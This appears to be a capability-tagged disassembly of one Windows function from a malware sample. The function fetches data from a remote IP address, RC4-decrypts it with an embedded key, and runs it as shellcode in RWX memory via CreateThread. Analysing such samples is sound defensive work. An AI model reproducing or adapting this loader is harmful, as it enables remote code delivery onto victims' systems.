Function at 0x140001a30
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
lea rbp, [rax - 0x3e8]
sub rsp, 0x4d0
xor r12d, r12d
mov qword [rax + 0x10], rdi
lea rdx, str.http:__8.138.17.21_array_output.txt
mov qword [rax + 0x20], r15
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
lea r8d, [r12 + 0x23]
mov qword [rsp + 0x68], 0xf
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
call fcn.1400015d0
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.1400018a0
cmp qword [rbp - 0x78], 0x10
lea r9, [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
cmovae r9, qword [rsp + 0x70]
mov rax, rdx
mov rcx, qword [rsp + 0x60]
mov rdi, qword [rbp - 0x80]
sub rax, rcx
cmp rdi, rax
ja 0x140001aee
cmp rdx, 0x10
lea rax, [rcx + rdi]
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rax
cmovae rbx, qword [rsp + 0x50]
mov r8, rdi
add rbx, rcx
mov rdx, r9
mov rcx, rbx
call fcn.140007780
mov byte [rbx + rdi], r12b
jmp 0x140001b00
mov rdx, rdi
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x50]
call fcn.140001f90
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400011f0
mov rdx, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r15, rax
test rax, rax
je 0x140001e18
movdqa xmm2, xmmword [0x140019a00]
lea r8, [rbp - 0x20]
mov qword [rsp + 0x4f0], rsi
mov edx, 8
mov qword [rsp + 0x500], r14
mov qword [rbp + 0x3c0], r12
nop dword [rax]
lea eax, [rdx - 4]
movd xmm1, eax
lea ecx, [rdx - 8]
pshufd xmm1, xmm1, 0
lea eax, [rdx + 4]
paddd xmm1, xmm2
movd xmm0, ecx
pshufd xmm0, xmm0, 0
lea r8, [r8 + 0x40]
paddd xmm0, xmm2
movdqu xmmword [r8 - 0x60], xmm0
movdqu xmmword [r8 - 0x50], xmm1
movd xmm0, edx
add edx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [r8 - 0x40], xmm0
lea eax, [rdx - 8]
paddd xmm1, xmm2
movdqu xmmword [r8 - 0x30], xmm1
cmp eax, 0x100
jl 0x140001b60
mov r8d, r12d
lea r10, [rbp - 0x40]
mov r9d, r12d
lea rbx, str.hr360qnmlb
nop word [rax + rax]
mov r11d, dword [r10]
mov eax, 0xcccccccd
mul r9d
mov eax, r9d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
movzx eax, byte [rax + rbx]
add eax, r11d
add r8d, eax
and r8d, 0x800000ff
jge 0x140001c18
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x40]
lea rcx, [rcx + rax*4]
inc r9d
mov eax, dword [rcx]
mov dword [r10], eax
add r10, 4
movzx eax, r11b
mov dword [rcx], eax
cmp r9d, 0x100
jl 0x140001be0
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
cmp rcx, 0x10
mov esi, dword [rsp + 0x40]
cmovae r8, rax
test esi, esi
je 0x140001d1e
mov r10d, dword [rbp + 0x3c4]
mov r11d, esi
mov r9d, dword [rbp + 0x3c0]
lea eax, [r9 + 1]
and eax, 0x800000ff
jge 0x140001c86
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x3c0], eax
lea r9, [rbp - 0x40]
cdqe
mov ecx, dword [r9 + rax*4]
lea r9, [r9 + rax*4]
add ecx, r10d
and ecx, 0x800000ff
jge 0x140001caf
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [rbp + 0x3c4], ecx
movzx edx, byte [r9]
movsxd rax, ecx
mov ecx, dword [rbp + rax*4 - 0x40]
mov dword [r9], ecx
movsxd rax, dword [rbp + 0x3c4]
mov dword [rbp + rax*4 - 0x40], edx
movsxd r10, dword [rbp + 0x3c4]
movsxd r9, dword [rbp + 0x3c0]
mov edx, dword [rbp + r10*4 - 0x40]
add edx, dword [rbp + r9*4 - 0x40]
and edx, 0x800000ff
jge 0x140001cf8
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [rbp + rax*4 - 0x40]
xor byte [r8], cl
inc r8
sub r11, 1
jne 0x140001c72
mov rcx, qword [rsp + 0x48]
mov esi, dword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
cmp rcx, 0x10
movsxd r14, esi
lea rbx, [rsp + 0x30]
mov rcx, r14
cmovae rbx, rax
call fcn.1400024ec
mov rdi, rax
test esi, esi
jle 0x140001d4a
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.140003f00
mov r14, qword [rsp + 0x500]
mov rcx, r12
movsxd r8, esi
sub r8, 1
mov rsi, qword [rsp + 0x4f0]
js 0x140001da0
lea rdx, [rbx + r8]
nop word [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
mov byte [rcx + rdi], al
inc rcx
cmp rcx, r8
jle 0x140001d70
mov rdx, rdi
lea rcx, [r8 + 1]
sub rdx, rbx
nop dword [rax]
movzx eax, byte [rdx + rbx]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rcx, 1
jne 0x140001d90
mov rcx, rdi
call fcn.1400024b8
cmp qword [rsp + 0x48], 0x10
lea rbx, [rsp + 0x30]
mov qword [rbp - 0x50], r12
cmovae rbx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov r9, qword [rsp + 0x40]
mov r8, rbx
mov rcx, rax
mov rdx, r15
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
xor edx, edx
test eax, eax
je 0x140001e09
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, r15
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
test rax, rax
jne 0x140001f5c
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, 1
mov rdx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x508]
mov rdi, qword [rsp + 0x4f8]
cmp rdx, 0x10
jb 0x140001e6a
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e65
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f83
call fcn.1400024b8
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r12b
cmp rdx, 0x10
jb 0x140001eb9
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001eb4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f83
call fcn.1400024b8
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r12b
cmp rdx, 0x10
jb 0x140001f05
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f00
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f83
call fcn.1400024b8
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r12b
cmp rdx, 0x10
jb 0x140001f4e
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f49
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f83
call fcn.1400024b8
mov eax, ebx
add rsp, 0x4d0
pop r12
pop rbx
pop rbp
ret
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, r12d
jmp 0x140001e1d
call fcn.1400082b8
int3